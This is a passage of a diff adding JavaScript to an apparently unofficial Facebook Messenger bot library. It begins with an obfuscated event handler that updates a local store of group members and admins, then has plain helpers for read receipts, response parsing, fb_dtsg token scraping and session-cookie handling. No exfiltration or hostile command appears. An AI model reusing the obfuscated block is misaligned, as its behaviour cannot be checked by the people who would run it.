d6f(0x1a,0x1a,0x21,0xd,0x17)])[bfwhbjwdwd_0x19ff6f(0x3a,0x53,0x21,0x4c,0x10)+bfwhbjwdwd_0x51dd6f(0x7,0x6,-0x18,0x2e,-0xf)]()),x);}break;case bfwhbjwdwd_0x4e137a(0x2f5,0x300,0x2db,0x306,0x30d)+bfwhbjwdwd_0x26f808(0x35f,0x345,0x339,0x363,0x315)+bfwhbjwdwd_0x26f808(0x33f,0x340,0x355,0x35b,0x34d):{let x=getData(formatID((m[bfwhbjwdwd_0x19ff6f(0x55,0x5a,0x75,0x71,0x7d)+bfwhbjwdwd_0x51dd6f(0x4,0xd,-0x5,-0x25,-0x7)+bfwhbjwdwd_0x26f808(0x327,0x354,0x32c,0x310,0x32b)][bfwhbjwdwd_0x28749e(0x597,0x5ad,0x5c0,0x59e,0x5b6)+bfwhbjwdwd_0x4e137a(0x311,0x2c6,0x2d4,0x2f1,0x2e6)][bfwhbjwdwd_0x28749e(0x59e,0x5ad,0x5b7,0x5d4,0x5b8)+bfwhbjwdwd_0x19ff6f(0x25,0x3,0x6,0x4f,0xd)]||m[bfwhbjwdwd_0x26f808(0x384,0x342,0x36c,0x364,0x348)+bfwhbjwdwd_0x4e137a(0x2f8,0x314,0x318,0x2f6,0x31b)+bfwhbjwdwd_0x26f808(0x325,0x350,0x32c,0x318,0x32b)][bfwhbjwdwd_0x4e137a(0x31b,0x31e,0x326,0x31e,0x33c)+bfwhbjwdwd_0x26f808(0x361,0x32a,0x342,0x347,0x353)][bfwhbjwdwd_0x19ff6f(0x53,0x72,0x4d,0x2b,0x65)+bfwhbjwdwd_0x28749e(0x58b,0x56e,0x56c,0x576,0x564)+bfwhbjwdwd_0x19ff6f(0x46,0x3b,0x34,0x3c,0x23)])[bfwhbjwdwd_0x51dd6f(0xe,-0x5,-0x2,0x16,-0xa)+bfwhbjwdwd_0x4e137a(0x2cf,0x320,0x31e,0x2f9,0x2f3)]()));x[bfwhbjwdwd_0x4e137a(0x330,0x318,0x313,0x31e,0x344)+bfwhbjwdwd_0x4e137a(0x32f,0x314,0x2f3,0x318,0x332)]=logMessageData[bfwhbjwdwd_0x51dd6f(0x16,0x23,0x20,0x23,0x30)]||formatID((m[bfwhbjwdwd_0x4e137a(0x305,0x313,0x304,0x31b,0x320)+bfwhbjwdwd_0x4e137a(0x312,0x321,0x2f1,0x2f6,0x2cd)+bfwhbjwdwd_0x51dd6f(-0x17,-0x3b,-0x3d,-0xe,-0x2b)][bfwhbjwdwd_0x4e137a(0x348,0x347,0x332,0x31e,0x305)+bfwhbjwdwd_0x19ff6f(0x2b,0x47,0x38,0x49,0x3c)][bfwhbjwdwd_0x26f808(0x380,0x362,0x36f,0x358,0x35a)+bfwhbjwdwd_0x4e137a(0x2e4,0x2f4,0x311,0x2eb,0x2bf)]||m[bfwhbjwdwd_0x4e137a(0x2fc,0x32e,0x2f4,0x31b,0x305)+bfwhbjwdwd_0x26f808(0x32f,0x348,0x347,0x357,0x32b)+bfwhbjwdwd_0x4e137a(0x2f5,0x300,0x2c9,0x2db,0x2d3)][bfwhbjwdwd_0x19ff6f(0x58,0x44,0x66,0x74,0x5f)+bfwhbjwdwd_0x26f808(0x331,0x362,0x342,0x330,0x348)][bfwhbjwdwd_0x28749e(0x5a8,0x5a8,0x5be,0x583,0x59b)+bfwhbjwdwd_0x26f808(0x30f,0x317,0x330,0x353,0x351)+bfwhbjwdwd_0x19ff6f(0x46,0x56,0x69,0x40,0x60)])[bfwhbjwdwd_0x4e137a(0x30b,0x305,0x314,0x300,0x329)+bfwhbjwdwd_0x26f808(0x347,0x33d,0x34a,0x339,0x35c)]()),updateData(formatID((m[bfwhbjwdwd_0x28749e(0x57f,0x5aa,0x585,0x593,0x5a6)+bfwhbjwdwd_0x19ff6f(0x30,0x28,0x37,0x45,0x38)+bfwhbjwdwd_0x51dd6f(-0x17,-0x3b,-0x2,-0x10,-0x10)][bfwhbjwdwd_0x4e137a(0x33d,0x32b,0x2f9,0x31e,0x2f7)+bfwhbjwdwd_0x26f808(0x32f,0x348,0x342,0x35e,0x359)][bfwhbjwdwd_0x4e137a(0x32d,0x324,0x331,0x31e,0x346)+bfwhbjwdwd_0x51dd6f(-0x7,-0x21,-0x24,-0x27,0x12)]||m[bfwhbjwdwd_0x28749e(0x5b4,0x5aa,0x5d2,0x5c6,0x5d1)+bfwhbjwdwd_0x19ff6f(0x30,0x5a,0x53,0x4f,0xf)+bfwhbjwdwd_0x51dd6f(-0x17,-0x13,-0xc,-0x36,-0x24)][bfwhbjwdwd_0x26f808(0x398,0x367,0x36f,0x38f,0x359)+bfwhbjwdwd_0x19ff6f(0x2b,0x1d,0x47,0xc,0x40)][bfwhbjwdwd_0x19ff6f(0x53,0x5d,0x38,0x37,0x29)+bfwhbjwdwd_0x19ff6f(0x19,0x1f,-0x9,-0x1,0x28)+bfwhbjwdwd_0x28749e(0x57a,0x59b,0x5ae,0x5b4,0x5a5)])[bfwhbjwdwd_0x28749e(0x5b5,0x58f,0x58b,0x579,0x586)+bfwhbjwdwd_0x28749e(0x58e,0x588,0x58c,0x5a2,0x56e)]()),x);}break;case bfwhbjwdwd_0x26f808(0x33e,0x349,0x343,0x36a,0x334)+bfwhbjwdwd_0x28749e(0x589,0x598,0x5ac,0x570,0x591)+bfwhbjwdwd_0x51dd6f(0x25,0x45,0x13,0x4a,0x36):{let x=getData(formatID((m[bfwhbjwdwd_0x4e137a(0x308,0x2f1,0x32d,0x31b,0x308)+bfwhbjwdwd_0x19ff6f(0x30,0x2e,0x21,0x2d,0x46)+bfwhbjwdwd_0x28749e(0x57b,0x56a,0x585,0x556,0x57e)][bfwhbjwdwd_0x19ff6f(0x58,0x5f,0x6b,0x4e,0x7e)+bfwhbjwdwd_0x26f808(0x321,0x34a,0x342,0x353,0x361)][bfwhbjwdwd_0x19ff6f(0x58,0x60,0x6a,0x46,0x43)+bfwhbjwdwd_0x51dd6f(-0x7,0x1d,0x7,0x9,0x20)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x32,0x38,0x4e,0x41)+bfwhbjwdwd_0x28749e(0x5a3,0x585,0x596,0x56f,0x574)+bfwhbjwdwd_0x19ff6f(0x15,0xb,-0xc,-0x3,0x2a)][bfwhbjwdwd_0x28749e(0x5d2,0x5ad,0x594,0x5b8,0x5c8)+bfwhbjwdwd_0x19ff6f(0x2b,0x11,0x2c,0x12,0x0)][bfwhbjwdwd_0x28749e(0x5cb,0x5a8,0x5af,0x5d3,0x595)+bfwhbjwdwd_0x4e137a(0x2bf,0x2c4,0x2c3,0x2df,0x2f8)+bfwhbjwdwd_0x4e137a(0x304,0x305,0x31f,0x30c,0x316)])[bfwhbjwdwd_0x28749e(0x58b,0x58f,0x586,0x594,0x5ba)+bfwhbjwdwd_0x4e137a(0x2cd,0x303,0x2d2,0x2f9,0x2fd)]()));for(let o of logMessageData[bfwhbjwdwd_0x19ff6f(0x5a,0x56,0x81,0x3a,0x75)+bfwhbjwdwd_0x28749e(0x578,0x573,0x55b,0x566,0x572)+bfwhbjwdwd_0x19ff6f(0x1f,-0xa,0x37,0x25,-0xa)+'ts']){if(x[bfwhbjwdwd_0x26f808(0x342,0x33d,0x31f,0x33b,0x33c)+bfwhbjwdwd_0x51dd6f(0x3,0xa,0x9,0x21,0x7)][bfwhbjwdwd_0x19ff6f(0x48,0x36,0x70,0x62,0x52)](_0x336320=>_0x336320['id']==o[bfwhbjwdwd_0x4e137a(0x2e7,0x2c2,0x2b2,0x2d8,0x2db)+bfwhbjwdwd_0x26f808(0x338,0x375,0x35d,0x359,0x362)]))continue;else x[bfwhbjwdwd_0x51dd6f(-0x24,0x3,-0x19,0x1,-0x1)+bfwhbjwdwd_0x28749e(0x59a,0x584,0x5a5,0x59c,0x583)][bfwhbjwdwd_0x28749e(0x566,0x575,0x560,0x577,0x571)]({'id':o[bfwhbjwdwd_0x28749e(0x57f,0x567,0x55e,0x545,0x549)+bfwhbjwdwd_0x4e137a(0x2ee,0x330,0x31e,0x30c,0x307)],'name':o[bfwhbjwdwd_0x26f808(0x32e,0x375,0x358,0x33c,0x369)+bfwhbjwdwd_0x19ff6f(0x4d,0x58,0x32,0x46,0x76)],'gender':getGenderByPhysicalMethod(o[bfwhbjwdwd_0x4e137a(0x31c,0x2e2,0x2f1,0x307,0x2e0)+bfwhbjwdwd_0x26f808(0x38f,0x382,0x364,0x36c,0x357)])}),x[bfwhbjwdwd_0x19ff6f(0xa,-0x8,-0x16,-0x15,-0x12)+bfwhbjwdwd_0x19ff6f(0x1f,0x26,0x12,0xc,0x3d)+bfwhbjwdwd_0x28749e(0x586,0x579,0x55f,0x568,0x59a)][bfwhbjwdwd_0x19ff6f(0x20,0x3f,0x28,0x44,0x25)](o[bfwhbjwdwd_0x51dd6f(-0x1a,0x2,-0x40,-0x1b,-0x36)+bfwhbjwdwd_0x51dd6f(0x1a,-0x3,-0x2,-0x1,0x8)]);}updateData(formatID((m[bfwhbjwdwd_0x28749e(0x5a8,0x5aa,0x5c3,0x58c,0x5b0)+bfwhbjwdwd_0x4e137a(0x2fc,0x2e4,0x2f2,0x2f6,0x2e6)+bfwhbjwdwd_0x26f808(0x347,0x349,0x32c,0x325,0x325)][bfwhbjwdwd_0x28749e(0x5c7,0x5ad,0x584,0x5a7,0x59e)+bfwhbjwdwd_0x26f808(0x327,0x347,0x342,0x319,0x34d)][bfwhbjwdwd_0x4e137a(0x345,0x32e,0x330,0x31e,0x311)+bfwhbjwdwd_0x28749e(0x54f,0x57a,0x590,0x569,0x597)]||m[bfwhbjwdwd_0x26f808(0x34f,0x36f,0x36c,0x376,0x369)+bfwhbjwdwd_0x51dd6f(0x4,0x8,0xa,-0x19,0x1)+bfwhbjwdwd_0x51dd6f(-0x17,0xc,-0x2c,-0x37,0x11)][bfwhbjwdwd_0x4e137a(0x347,0x2f9,0x31b,0x31e,0x31c)+bfwhbjwdwd_0x19ff6f(0x2b,0x1a,0x15,0x2,0x42)][bfwhbjwdwd_0x26f808(0x33f,0x351,0x36a,0x38d,0x375)+bfwhbjwdwd_0x28749e(0x573,0x56e,0x556,0x582,0x559)+bfwhbjwdwd_0x51dd6f(0x1a,0x31,0x1c,0x19,0x16)])[bfwhbjwdwd_0x51dd6f(0xe,-0x11,0x20,0x1a,-0x8)+bfwhbjwdwd_0x51dd6f(0x7,-0x1d,0x1b,0x12,0x13)]()),x);}break;case bfwhbjwdwd_0x19ff6f(0x2a,0x1b,0x50,0xc,0x50)+bfwhbjwdwd_0x19ff6f(0x13,0x24,0x33,0x37,0x21)+bfwhbjwdwd_0x4e137a(0x2cc,0x2f5,0x2eb,0x2ca,0x2e0):{let x=getData(formatID((m[bfwhbjwdwd_0x26f808(0x34a,0x372,0x36c,0x382,0x386)+bfwhbjwdwd_0x26f808(0x361,0x35b,0x347,0x32f,0x351)+bfwhbjwdwd_0x26f808(0x312,0x353,0x32c,0x34e,0x332)][bfwhbjwdwd_0x26f808(0x38d,0x358,0x36f,0x382,0x38f)+bfwhbjwdwd_0x26f808(0x352,0x345,0x342,0x324,0x321)][bfwhbjwdwd_0x51dd6f(0x2c,0x4d,0x3f,0x41,0x12)+bfwhbjwdwd_0x51dd6f(-0x7,-0x19,-0x21,-0x1f,-0x18)]||m[bfwhbjwdwd_0x26f808(0x363,0x341,0x36c,0x35b,0x36f)+bfwhbjwdwd_0x51dd6f(0x4,0xd,0x8,0x14,-0x5)+bfwhbjwdwd_0x26f808(0x34e,0x358,0x32c,0x328,0x321)][bfwhbjwdwd_0x19ff6f(0x58,0x68,0x5d,0x5a,0x43)+bfwhbjwdwd_0x28749e(0x56d,0x580,0x5a6,0x555,0x5a5)][bfwhbjwdwd_0x4e137a(0x2fd,0x300,0x32f,0x319,0x2fe)+bfwhbjwdwd_0x26f808(0x356,0x351,0x330,0x32a,0x351)+bfwhbjwdwd_0x28749e(0x598,0x59b,0x57b,0x59b,0x5ac)])[bfwhbjwdwd_0x26f808(0x36f,0x337,0x351,0x372,0x35d)+bfwhbjwdwd_0x4e137a(0x2f9,0x2fa,0x2d4,0x2f9,0x2f0)]()));for(let o of logMessageData[bfwhbjwdwd_0x26f808(0x34f,0x36e,0x353,0x374,0x337)+bfwhbjwdwd_0x26f808(0x335,0x306,0x31d,0x346,0x340)+bfwhbjwdwd_0x51dd6f(0x6,-0x16,0x2,0xf,0x5)+bfwhbjwdwd_0x28749e(0x55e,0x560,0x562,0x542,0x54a)]){x[bfwhbjwdwd_0x51dd6f(-0x15,-0x2f,-0x14,-0x14,0x8)+bfwhbjwdwd_0x19ff6f(0x14,0x2e,0x20,-0x1,-0x9)][bfwhbjwdwd_0x28749e(0x5c0,0x59d,0x586,0x585,0x57c)](_0x5e29aa=>_0x5e29aa['id']==o)&&(x[bfwhbjwdwd_0x26f808(0x355,0x336,0x32e,0x30b,0x33c)+bfwhbjwdwd_0x19ff6f(0x14,0x10,-0xe,-0xf,0x2b)]=x[bfwhbjwdwd_0x28749e(0x56b,0x56c,0x590,0x598,0x579)+bfwhbjwdwd_0x51dd6f(-0x18,0xb,-0x11,-0x10,-0x1f)][bfwhbjwdwd_0x26f808(0x349,0x31d,0x326,0x306,0x30e)+'r'](_0x5c02c2=>_0x5c02c2['id']!=o)),x[bfwhbjwdwd_0x19ff6f(0xa,0x10,0x15,0x19,-0x4)+bfwhbjwdwd_0x4e137a(0x2e0,0x2e5,0x2c8,0x2e5,0x2bc)+bfwhbjwdwd_0x19ff6f(0x24,0x1b,0x43,0x10,0x25)][bfwhbjwdwd_0x51dd6f(-0x1d,-0x3f,-0x2c,-0x2f,-0xd)+'r'](_0x522668=>_0x522668!=o),x[bfwhbjwdwd_0x51dd6f(-0x24,0x0,-0x3f,-0x4f,-0x4f)+bfwhbjwdwd_0x4e137a(0x2ef,0x2d3,0x2f3,0x2f5,0x300)][bfwhbjwdwd_0x51dd6f(-0x1d,-0x9,0x6,-0x34,0x9)+'r'](_0x335da4=>_0x335da4['id']!=o);}updateData(formatID((m[bfwhbjwdwd_0x28749e(0x5ad,0x5aa,0x595,0x5b9,0x5d3)+bfwhbjwdwd_0x4e137a(0x2e3,0x320,0x301,0x2f6,0x2d7)+bfwhbjwdwd_0x26f808(0x327,0x32c,0x32c,0x30e,0x320)][bfwhbjwdwd_0x19ff6f(0x58,0x53,0x62,0x69,0x7c)+bfwhbjwdwd_0x26f808(0x33d,0x334,0x342,0x32a,0x33a)][bfwhbjwdwd_0x26f808(0x351,0x34b,0x36f,0x38e,0x348)+bfwhbjwdwd_0x4e137a(0x300,0x2e0,0x2fd,0x2eb,0x316)]||m[bfwhbjwdwd_0x26f808(0x371,0x356,0x36c,0x34a,0x351)+bfwhbjwdwd_0x28749e(0x565,0x585,0x5a0,0x56d,0x591)+bfwhbjwdwd_0x51dd6f(-0x17,-0x38,-0x1b,-0x9,-0xc)][bfwhbjwdwd_0x19ff6f(0x58,0x80,0x54,0x68,0x54)+bfwhbjwdwd_0x4e137a(0x30a,0x2eb,0x2f3,0x2f1,0x2ff)][bfwhbjwdwd_0x28749e(0x597,0x5a8,0x593,0x5b8,0x5bf)+bfwhbjwdwd_0x26f808(0x351,0x30b,0x330,0x35a,0x325)+bfwhbjwdwd_0x4e137a(0x329,0x2e6,0x2f5,0x30c,0x2ee)])[bfwhbjwdwd_0x51dd6f(0xe,0x21,0x35,0xe,-0x5)+bfwhbjwdwd_0x51dd6f(0x7,0x18,-0x17,0x7,0x29)]()),x);}break;}}}function bfwhbjwdwd_0x3fc6(){const _0x4860c9=['\x20log:','userI','208795RbaBhK','parti','FbId','126JGxAss','Setti','873976PgElQv','filte','3XBIYfG','-appr','userF','nsubs','IDs','adata','d-ico','admin','ser-n','UserF','get','_colo','lengt','4094540joHGad','Parti','cipan','push','3995756itJOka','hread','theme','tIDs','dFbId','mode','remov','d_ico','add_a','log:u','dKey','log:s','7002352pNpHMT','ames','nfo','geMet','ADMIN','ipant','ing','nickn','17050264wjplvq','oval-','ickna','_emoj','t_id','toStr','-admi','leftP','45VjozBr','-name','color','log:t','fullN','name','ubscr','appro','e_adm','bId','find','some','miumU','dmin','ser','-colo','ame','valMo','emoji','973TlfPFo','ibe','dName','other','526FzebGd','messa','TARGE','T_ID','threa','isPre','added','cribe','_EVEN','artic'];bfwhbjwdwd_0x3fc6=function(){return _0x4860c9;};return bfwhbjwdwd_0x3fc6();}
827
+ return {
828
+ type: "event",
829
+ threadID: formatID((m.messageMetadata.threadKey.threadFbId || m.messageMetadata.threadKey.otherUserFbId).toString()),
830
+ logMessageType: logMessageType,
831
+ logMessageData: logMessageData,
832
+ logMessageBody: m.messageMetadata.adminText,
833
+ author: m.messageMetadata.actorFbId,
834
+ participantIDs: m.participants || []
835
+ };
836
+ }
837
+
838
+ function formatTyp(event) {
839
+ return {
840
+ isTyping: !!event.st,
841
+ from: event.from.toString(),
842
+ threadID: formatID((event.to || event.thread_fbid || event.from).toString()),
843
+ // When receiving typ indication from mobile, `from_mobile` isn't set.
844
+ // If it is, we just use that value.
845
+ fromMobile: event.hasOwnProperty("from_mobile") ? event.from_mobile : true,
846
+ userID: (event.realtime_viewer_fbid || event.from).toString(),
847
+ type: "typ"
848
+ };
849
+ }
850
+
851
+ function formatTyp(event) {
852
+ return {
853
+ isTyping: !!event.st,
854
+ from: event.from.toString(),
855
+ threadID: formatID((event.to || event.thread_fbid || event.from).toString()),
856
+ // When receiving typ indication from mobile, `from_mobile` isn't set.
857
+ // If it is, we just use that value.
858
+ fromMobile: event.hasOwnProperty("from_mobile") ? event.from_mobile : true,
859
+ userID: (event.realtime_viewer_fbid || event.from).toString(),
860
+ type: "typ"
861
+ };
862
+ }
863
+
864
+ function formatDeltaReadReceipt(delta) {
865
+ // otherUserFbId seems to be used as both the readerID and the threadID in a 1-1 chat.
866
+ // In a group chat actorFbId is used for the reader and threadFbId for the thread.
867
+ return {
868
+ reader: (delta.threadKey.otherUserFbId || delta.actorFbId).toString(),
869
+ time: delta.actionTimestampMs,
870
+ threadID: formatID((delta.threadKey.otherUserFbId || delta.threadKey.threadFbId).toString()),
871
+ type: "read_receipt"
872
+ };
873
+ }
874
+
875
+ function formatReadReceipt(event) {
876
+ return {
877
+ reader: event.reader.toString(),
878
+ time: event.time,
879
+ threadID: formatID((event.thread_fbid || event.reader).toString()),
880
+ type: "read_receipt"
881
+ };
882
+ }
883
+
884
+ function formatRead(event) {
885
+ return {
886
+ threadID: formatID(((event.chat_ids && event.chat_ids[0]) || (event.thread_fbids && event.thread_fbids[0])).toString()),
887
+ time: event.timestamp,
888
+ type: "read"
889
+ };
890
+ }
891
+
892
+ function getFrom(str, startToken, endToken) {
893
+ var start = str.indexOf(startToken) + startToken.length;
894
+ if (start < startToken.length) return "";
895
+
896
+ var lastHalf = str.substring(start);
897
+ var end = lastHalf.indexOf(endToken);
898
+ if (end === -1) throw Error("Could not find endTime `" + endToken + "` in the given string.");
899
+ return lastHalf.substring(0, end);
900
+ }
901
+
902
+ function makeParsable(html) {
903
+ let withoutForLoop = html.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, "");
904
+
905
+ // (What the fuck FB, why windows style newlines?)
906
+ // So sometimes FB will send us base multiple objects in the same response.
907
+ // They're all valid JSON, one after the other, at the top level. We detect
908
+ // that and make it parse-able by JSON.parse.
909
+ // Ben - July 15th 2017
910
+ //
911
+ // It turns out that Facebook may insert random number of spaces before
912
+ // next object begins (issue #616)
913
+ // rav_kr - 2018-03-19
914
+ let maybeMultipleObjects = withoutForLoop.split(/\}\r\n *\{/);
915
+ if (maybeMultipleObjects.length === 1) return maybeMultipleObjects;
916
+
917
+ return "[" + maybeMultipleObjects.join("},{") + "]";
918
+ }
919
+
920
+ function arrToForm(form) {
921
+ return arrayToObject(form,
922
+ function(v) {
923
+ return v.name;
924
+ },
925
+ function(v) {
926
+ return v.val;
927
+ }
928
+ );
929
+ }
930
+
931
+ function arrayToObject(arr, getKey, getValue) {
932
+ return arr.reduce(function(acc, val) {
933
+ acc[getKey(val)] = getValue(val);
934
+ return acc;
935
+ }, {});
936
+ }
937
+
938
+ function getSignatureID() {
939
+ return Math.floor(Math.random() * 2147483648).toString(16);
940
+ }
941
+
942
+ function generateTimestampRelative() {
943
+ var d = new Date();
944
+ return d.getHours() + ":" + padZeros(d.getMinutes());
945
+ }
946
+
947
+ function makeDefaults(html, userID, ctx) {
948
+ var reqCounter = 1;
949
+ var fb_dtsg = getFrom(html, 'name="fb_dtsg" value="', '"');
950
+
951
+ // @Hack Ok we've done hacky things, this is definitely on top 5.
952
+ // We totally assume the object is flat and try parsing until a }.
953
+ // If it works though it's cool because we get a bunch of extra data things.
954
+ //
955
+ // Update: we don't need this. Leaving it in in case we ever do.
956
+ // Ben - July 15th 2017
957
+
958
+ // var siteData = getFrom(html, "[\"SiteData\",[],", "},");
959
+ // try {
960
+ // siteData = JSON.parse(siteData + "}");
961
+ // } catch(e) {
962
+ // log.warn("makeDefaults", "Couldn't parse SiteData. Won't have access to some variables.");
963
+ // siteData = {};
964
+ // }
965
+
966
+ var ttstamp = "2";
967
+ for (var i = 0; i < fb_dtsg.length; i++) ttstamp += fb_dtsg.charCodeAt(i);
968
+ var revision = getFrom(html, 'revision":', ",");
969
+
970
+ function mergeWithDefaults(obj) {
971
+ // @TODO This is missing a key called __dyn.
972
+ // After some investigation it seems like __dyn is some sort of set that FB
973
+ // calls BitMap. It seems like certain responses have a "define" key in the
974
+ // res.jsmods arrays. I think the code iterates over those and calls `set`
975
+ // on the bitmap for each of those keys. Then it calls
976
+ // bitmap.toCompressedString() which returns what __dyn is.
977
+ //
978
+ // So far the API has been working without this.
979
+ //
980
+ // Ben - July 15th 2017
981
+ var newObj = {
982
+ __user: userID,
983
+ __req: (reqCounter++).toString(36),
984
+ __rev: revision,
985
+ __a: 1,
986
+ // __af: siteData.features,
987
+ fb_dtsg: ctx.fb_dtsg ? ctx.fb_dtsg : fb_dtsg,
988
+ jazoest: ctx.ttstamp ? ctx.ttstamp : ttstamp
989
+ // __spin_r: siteData.__spin_r,
990
+ // __spin_b: siteData.__spin_b,
991
+ // __spin_t: siteData.__spin_t,
992
+ };
993
+
994
+ // @TODO this is probably not needed.
995
+ // Ben - July 15th 2017
996
+ // if (siteData.be_key) {
997
+ // newObj[siteData.be_key] = siteData.be_mode;
998
+ // }
999
+ // if (siteData.pkg_cohort_key) {
1000
+ // newObj[siteData.pkg_cohort_key] = siteData.pkg_cohort;
1001
+ // }
1002
+
1003
+ if (!obj) return newObj;
1004
+ for (var prop in obj)
1005
+ if (obj.hasOwnProperty(prop))
1006
+ if (!newObj[prop]) newObj[prop] = obj[prop];
1007
+ return newObj;
1008
+ }
1009
+
1010
+ function postWithDefaults(url, jar, form, ctxx) {
1011
+ return post(url, jar, mergeWithDefaults(form), ctx.globalOptions, ctxx || ctx);
1012
+ }
1013
+
1014
+ function getWithDefaults(url, jar, qs, ctxx) {
1015
+ return get(url, jar, mergeWithDefaults(qs), ctx.globalOptions, ctxx || ctx);
1016
+ }
1017
+
1018
+ function postFormDataWithDefault(url, jar, form, qs, ctxx) {
1019
+ return postFormData(url, jar, mergeWithDefaults(form), mergeWithDefaults(qs), ctx.globalOptions, ctxx || ctx);
1020
+ }
1021
+
1022
+ return {
1023
+ get: getWithDefaults,
1024
+ post: postWithDefaults,
1025
+ postFormData: postFormDataWithDefault
1026
+ };
1027
+ }
1028
+
1029
+ function parseAndCheckLogin(ctx, defaultFuncs, retryCount) {
1030
+ if (retryCount == undefined) retryCount = 0;
1031
+ return function(data) {
1032
+ return bluebird.try(function() {
1033
+ log.verbose("parseAndCheckLogin", data.body);
1034
+ if (data.statusCode >= 500 && data.statusCode < 600) {
1035
+ if (retryCount >= 5) {
1036
+ throw {
1037
+ error: "Request retry failed. Check the `res` and `statusCode` property on this error.",
1038
+ statusCode: data.statusCode,
1039
+ res: data.body
1040
+ };
1041
+ }
1042
+ retryCount++;
1043
+ var retryTime = Math.floor(Math.random() * 5000);
1044
+ log.warn("parseAndCheckLogin", "Got status code " + data.statusCode + " - " + retryCount + ". attempt to retry in " + retryTime + " milliseconds...");
1045
+ var url = data.request.uri.protocol + "//" + data.request.uri.hostname + data.request.uri.pathname;
1046
+ if (data.request.headers["Content-Type"].split(";")[0] === "multipart/form-data") {
1047
+ return bluebird.delay(retryTime).then(() => defaultFuncs.postFormData(url, ctx.jar, data.request.formData, {}))
1048
+ .then(parseAndCheckLogin(ctx, defaultFuncs, retryCount));
1049
+ } else {
1050
+ return bluebird.delay(retryTime).then(() => defaultFuncs.post(url, ctx.jar, data.request.formData))
1051
+ .then(parseAndCheckLogin(ctx, defaultFuncs, retryCount));
1052
+ }
1053
+ }
1054
+ if (data.statusCode !== 200) throw new Error("parseAndCheckLogin got status code: " + data.statusCode + ". Bailing out of trying to parse response.");
1055
+
1056
+ var res = null;
1057
+ try {
1058
+ res = JSON.parse(makeParsable(data.body));
1059
+ } catch (e) {
1060
+ throw {
1061
+ error: "JSON.parse error. Check the `detail` property on this error.",
1062
+ detail: e,
1063
+ res: data.body
1064
+ };
1065
+ }
1066
+
1067
+ // In some cases the response contains only a redirect URL which should be followed
1068
+ if (res.redirect && data.request.method === "GET") return defaultFuncs.get(res.redirect, ctx.jar).then(parseAndCheckLogin(ctx, defaultFuncs));
1069
+
1070
+ // TODO: handle multiple cookies?
1071
+ if (res.jsmods && res.jsmods.require && Array.isArray(res.jsmods.require[0]) && res.jsmods.require[0][0] === "Cookie") {
1072
+ res.jsmods.require[0][3][0] = res.jsmods.require[0][3][0].replace("_js_", "");
1073
+ var cookie = formatCookie(res.jsmods.require[0][3], "facebook");
1074
+ var cookie2 = formatCookie(res.jsmods.require[0][3], "messenger");
1075
+ ctx.jar.setCookie(cookie, "https://www.facebook.com");
1076
+ ctx.jar.setCookie(cookie2, "https://www.messenger.com");
1077
+ }
1078
+
1079
+ // On every request we check if we got a DTSG and we mutate the context so that we use the latest
1080
+ // one for the next requests.
1081
+ if (res.jsmods && Array.isArray(res.jsmods.require)) {
1082
+ var arr = res.jsmods.require;
1083
+ for (var i in arr) {
1084
+ if (arr[i][0] === "DTSG" && arr[i][1] === "setToken") {
1085
+ ctx.fb_dtsg = arr[i][3][0];
1086
+
1087
+ // Update ttstamp since that depends on fb_dtsg
1088
+ ctx.ttstamp = "2";
1089
+ for (var j = 0; j < ctx.fb_dtsg.length; j++) ctx.ttstamp += ctx.fb_dtsg.charCodeAt(j);
1090
+ }
1091
+ }
1092
+ }
1093
+
1094
+ if (res.error === 1357001) throw { error: "Chưa Đăng Nhập Được - Appstate Đã Bị Lỗi" };
1095
+ return res;
1096
+ });
1097
+ };
1098
+ }
1099
+
1100
+ function saveCookies(jar) {
1101
+ return function(res) {
1102
+ var cookies = res.headers["set-cookie"] || [];
1103
+ cookies.forEach(function(c) {
1104
+ if (c.indexOf(".facebook.com") > -1) jar.setCookie(c, "https://www.facebook.com");
1105
+ var c2 = c.replace(/domain=\.facebook\.com/, "domain=.messenger.com");
1106
+ jar.setCookie(c2, "https://www.messenger.com");
1107
+ });
1108
+ return res;
1109
+ };
1110
+ }
1111
+
1112
+ var NUM_TO_MONTH = [
1113
+ "Jan",
1114
+ "Feb",
1115
+ "Mar",
1116
+ "Apr",
1117
+ "May",
1118
+ "Jun",
1119
+ "Jul",
1120
+ "Aug",
1121
+ "Sep",
1122
+ "Oct",
1123
+ "Nov",
1124
+ "Dec"
1125
+ ];
1126
+ var NUM_TO_DAY = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"];
1127
+
1128
+ function formatDate(date) {
1129
+ var d = date.getUTCDate();
1130
+ d = d >= 10 ? d : "0" + d;
1131
+ var h = date.getUTCHours();
1132
+ h = h >= 10 ? h : "0" + h;
1133
+ var m = date.getUTCMinutes();
1134
+ m = m >= 10 ? m : "0" + m;
1135
+ var s = date.getUTCSeconds();
1136
+ s = s >= 10 ? s : "0" + s;
1137
+ return (NUM_TO_DAY[date.getUTCDay()] + ", " + d + " " + NUM_TO_MONTH[date.getUTCMonth()] + " " + date.getUTCFullYear() + " " + h + ":" + m + ":" + s + " GMT");
1138
+ }
1139
+
1140
+ function formatCookie(arr, url) {
1141
+ return arr[0] + "=" + arr[1] + "; Path=" + arr[3] + "; Domain=" + url + ".com";
1142
+ }
1143
+
1144
+ function formatThread(data) {
1145
+ return {
1146
+ threadID: formatID(data.thread_fbid.toString()),
1147
+ participants: data.participants.map(formatID),
1148
+ participantIDs: data.participants.map(formatID),
1149
+ name: data.name,
1150
+ nicknames: data.custom_nickname,
1151
+ snippet: data.snippet,
1152
+ snippetAttachments: data.snippet_attachments,
1153
+ snippetSender: formatID((data.snippet_sender || "").toString()),
1154
+ unreadCount: data.unread_count,
1155
+ messageCount: data.message_count,
1156
+ imageSrc: data.image_src,
1157
+ timestamp: data.timestamp,
1158
+ serverTimestamp: data.server_timestamp, // what is this?
1159
+ muteUntil: data.mute_until,
1160
+ isCanonicalUser: data.is_canonical_user,
1161
+ isCanonical: data.is_canonical,
1162
+ isSubscribed: data.is_subscribed,
1163
+ folder: data.folder,
1164
+ isArchived: data.is_archived,
1165
+ recipientsLoadable: data.recipients_loadable,
1166
+ hasEmailParticipant: data.has_email_participant,
1167
+ readOnly: data.read_only,
1168
+ canReply: data.can_reply,
1169
+ cannotReplyReason: data.cannot_reply_reason,
1170
+ lastMessageTimestamp: data.last_message_timestamp,
1171
+ lastReadTimestamp: data.last_read_timestamp,
1172
+ lastMessageType: data.last_message_type,
1173
+ emoji: data.custom_like_icon,
1174
+ color: data.custom_color,
1175
+ adminIDs: data.admin_ids,
1176
+ threadType: data.thread_type
1177
+ };
1178
+ }
1179
+
1180
+ function getType(obj) {
1181
